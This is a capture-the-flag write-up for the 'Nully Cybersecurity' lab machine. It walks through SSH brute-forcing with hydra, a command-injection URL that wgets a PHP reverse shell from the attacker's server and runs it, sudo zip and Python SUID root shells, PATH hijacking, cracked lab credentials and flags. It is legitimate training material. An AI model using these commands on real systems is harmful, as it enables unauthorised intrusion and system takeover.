Nully-Cybersecurity

Introduction

By Lawcky 06/01/24

Story:

You are a Professional White Hat. Small company Nully Cybersecurity hired you to conduct a security test of their internal corporate systems.

Difficulty : easy-medium

Additionnal info :

Name: Nully Cybersecurity: 1
Release date: 6 Sep 2020
Author: laf3r
Series: Nully Cybersecurity

|NOTE| if you want to see all the scans I wont copy them here as they would be way too voluminous, click here to see them

---

Rules

---

In this write-up

• telnet for pop3
• hydra
• ffuf
• zip (SUID exploit)
• ssh (port forwarding)
• rce using php file
• writable path
• ftp
• pycrack

---

Write-UP Mail-Server

first approach

hydra

sudo hydra -l bob -P nullycyber.dic ssh://192.168.1.35:2222/

bob:bobby1985

---

---

---

for a faster enumeration we execute linpeas.sh

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

nothing special stands out

---

Privilege escalation

sudo -l

this script can be ran as my2user, we can modify it by adding

/bin/bash to get the shell of my2user

from here

we can use this to get root access

TF=$(mktemp -u)

sudo zip $TF /etc/hosts -T -TT 'sh #'

---

Write-Up Web Server

the ip of the webserver is 172.17.0.3 (localhost)

curl 172.17.0.3

the man in charge of the website seems to be named oliver

---

Port Forwarding

in order to make things easier we will create a port forward using ssh from our machine to the web server that’ll pass through the mail server

ssh -L 127.0.0.1:8088:172.17.0.2:80 bob@192.168.1.84 -p 2222

it worked !

FUZZING

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://127.0.0.1:8088/FUZZ -fc 403

---

RCE

there is a remote code execution
we upload a reverse shell (pentest monkey)

python -m http.server 8000

then we execute the urls

http://127.0.0.1:8088/ping/ping.php?host=172.17.0.1|wget%20http://172.17.0.5/monkey.php

http://127.0.0.1:8088/ping/ping.php?host=172.17.0.1|php%20monkey.php

we have a reverse shell

---

Privilege Escalation

find / -perm -u=s -type f 2>/dev/null

using the Python SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

we get a hold of oscar’s file and find this password on his desktop

oscar:H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o

we find this executable owned by root

this script calls the date command

Writable Path

we rewrite the path to be able to ‘replace’ the date command for a script that we’ll manually write

export PATH=/tmp:$PATH

add tmp to the path

we create a script called /tmp/date with inside :
/bin/bash

and we run the current-date executable

got root

7afc7a60ac389f8d5c6f8f7d0ec645da

got second flag

---

Write-Up Database

FTP

we successfully connect as anonymous where there is many hidden file, one beeing a hidden zip file with a password

PyCrack

donald:HBRLoCZ0b9NEgh8vsECS

Privilege Escalation

Using DB exploit

6cb25d4789cdd7fa1624e6356e0d825b

third flag found